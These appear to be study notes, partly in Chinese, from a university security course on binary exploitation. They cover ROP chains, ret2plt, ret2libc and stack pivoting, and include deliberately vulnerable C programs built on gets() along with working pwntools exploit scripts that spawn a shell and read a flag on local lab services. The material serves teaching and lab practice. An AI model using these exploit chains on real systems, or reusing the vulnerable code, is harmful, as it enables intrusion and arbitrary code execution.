# PWN
>From `yuawn` [NTU-Computer-Security](https://github.com/yuawn/NTU-Computer-Security)
+ [Dkoctro](https://hackmd.io/nFewizI_T7GcNPKGDwVKTQ)
- [x] week1
- [x] week2
- [ ] week3
- [ ] PicoCTF.com
- [ ] [pwn.college](https://pwn.college/)
- [ ] Pwnable.tw
<br>
# ROP
> Return Oriented Programming attack
## pwntools interact with gdb
- tmux
- `pause()` , gdb `attach pid`
## ROP Gadgets
> [ROP Gadgets](https://tech-blog.cymetrics.io/posts/crystal/pwn-intro-2/)
### Tools
+ [ROPgadget](https://github.com/JonathanSalwan/ROPgadget)
+ [Ropper](https://github.com/sashs/Ropper)
> base on [capstone](https://github.com/capstone-engine/capstone)
### ROP
>For **NX**
+ 在 **code segment** 尋找 gadgets 叠成一串 return address chain (**ROP chain**)
+ 透過gadgets串出代碼執行,繞過 NX
+ 首先,將函數返回地址彈出,將`rsp`指向第二個 Return address 並跳轉至執行第一個 Return address。接著執行 **ret** instruction,並在一開始放置好第二個 return address,從而實現持續 control flow。通過反覆執行此操作,達到 Return Oriented Programming attack 的目的。
### Control register
`Gadget - pop <reg>; ret;`
> Gadget 來源
>> 不只有完整instruction可以形成Gadget,只要跳的位置合適,可能連value也可以被解析成可執行的Gadget
- 用ROP chain出 syscall


+ `ox601000` input in rdi
+ `'/bin/sh\0'` input in rsi
+ `mov qword ptr [rdi], rsi` mov rsi to **rdi pointer** memory space
...
### 總結
+ Overflow control rip 後
+ **NX Off** 的前提下可撰寫shellcode `execve("/bin/sh",0,0)`直接執行
+ **NX On** 時透過 ROP 推疊出執行 `execve("/bin/sh",0,0)` 行為的 ROP chain
```c
attack = !NX ? shellcode : ROP
```
### DEMO
> rop.c
```cpp
#include<stdio.h>
#include<stdlib.h>
void init(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
}
int main(){
init();
puts( "Say hello to stack :D" );
char buf[0x30];
gets( buf );
return 0;
}
```
> Compile
>>`gcc src/rop.c -o ./rop/share/rop -no-pie -fno-stack-protector --static`
>>`--static`: 方便練習
#### 解法
1. `ROPgadgget --binary ./rop` ,找出你要的 gadget
2. `gdb vmmap` 找可寫位置
3. - `pop rax;0x3b;syscall;` : `sys_execve(%rdi,%rsi,%rdx)`
4. - %rdx : 0
- %rdi : `bss` , pointer to memory space
- %rsi : `mov [rdi], rsi` ; "/bin/sh\0", 0
```python
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
y = remote( 'localhost' , 10173 )
#y = process( '../rop/share/rop' )
#pause()
pop_rax = 0x0000000000415714
pop_rdi = 0x0000000000400686
pop_rsi = 0x00000000004100f3
pop_rdx = 0x0000000000449935
mov_q_rdi_rsi = 0x000000000044709b # mov qword ptr [rdi], rsi ; ret
syscall = 0x000000000047b68f
pop_rdx_rsi = 0x000000000044beb9
bss = 0x6b6030
p = flat(
'a' * 0x38,
pop_rdi,
bss,
pop_rsi,
'/bin/sh\0',
mov_q_rdi_rsi,
pop_rsi,
0,
pop_rdx,
0,
pop_rax,
0x3b,
syscall
)
y.sendlineafter( ':D' , p )
y.sendline( 'cat /home/`whoami`/flag' )
y.interactive()
```
## ret2plt
> Return to .plt

> 找到plt function 的位置就可以直接call

- 可以直接取代rop chain(👆) 的一長串

- system

<br>
### DEMO
```c=
#include<stdio.h>
#include<stdlib.h>
void init(){
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
setvbuf(stderr,0,2,0);
}
int main(){
init();
system( "echo 'Say hello to stack :D'" );
char buf[0x30];
gets( buf );
return 0;
}
```
#### Sol
```python=
#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'
y = remote( 'localhost' , 10174 )
#y = process( '../ret2plt/share/ret2plt' )
#pause()
pop_rdi = 0x0000000000400733
gets_plt = 0x400530
system_plt = 0x400520
bss = 0x601070
p = flat(
'a' * 0x38,
pop_rdi,
bss,
gets_plt,
pop_rdi,
bss,
system_plt
)
y.sendlineafter( ':D' , p )
y.sendline( 'sh' )
y.sendline( 'cat /home/`whoami`/flag' )
y.interactive()
```
### Conculsion
In the condition that without pie , cross ASLR to use lib function.
## ret2libc
> Bypass ASLR - 能leak就結束了
- Function .got table -> **lib address**
- `leaked_address - offset = base_address`

### Demo
- 再一次的連線中,需要同時leak和expolit
- `objdump -R <binary>` : 找 libc_start_main
- `readelf -s <binary>` : 找 offset
- leak 完成,跳回main再出發 overflow
- 可以從binary中搜尋`"/bin/sh"` : `print '"/bin/sh" str :' , hex( l.search( '/bin/sh' ).next() )`
- 可能會crash,因為需要8bytes對齊:再加上ret就可解決
#### "/bin/sh" 的寫入
1. 使用ret2plt call `gets()` 寫入
2. pwntools lib.search
## information leaking
- array 寫出一個區域並不會把內容清掉
- 使用leak_address和offset就可以知道 base_address
### stack pivoting
> stack migartion
- leave ; ret
- Overflow 時將 **rbp** 填成 ROP Chain 的 `address -8`
- return address th leave; ret gadget
- pop rsp; ret
- 手動找針對各種當下情況的 gadget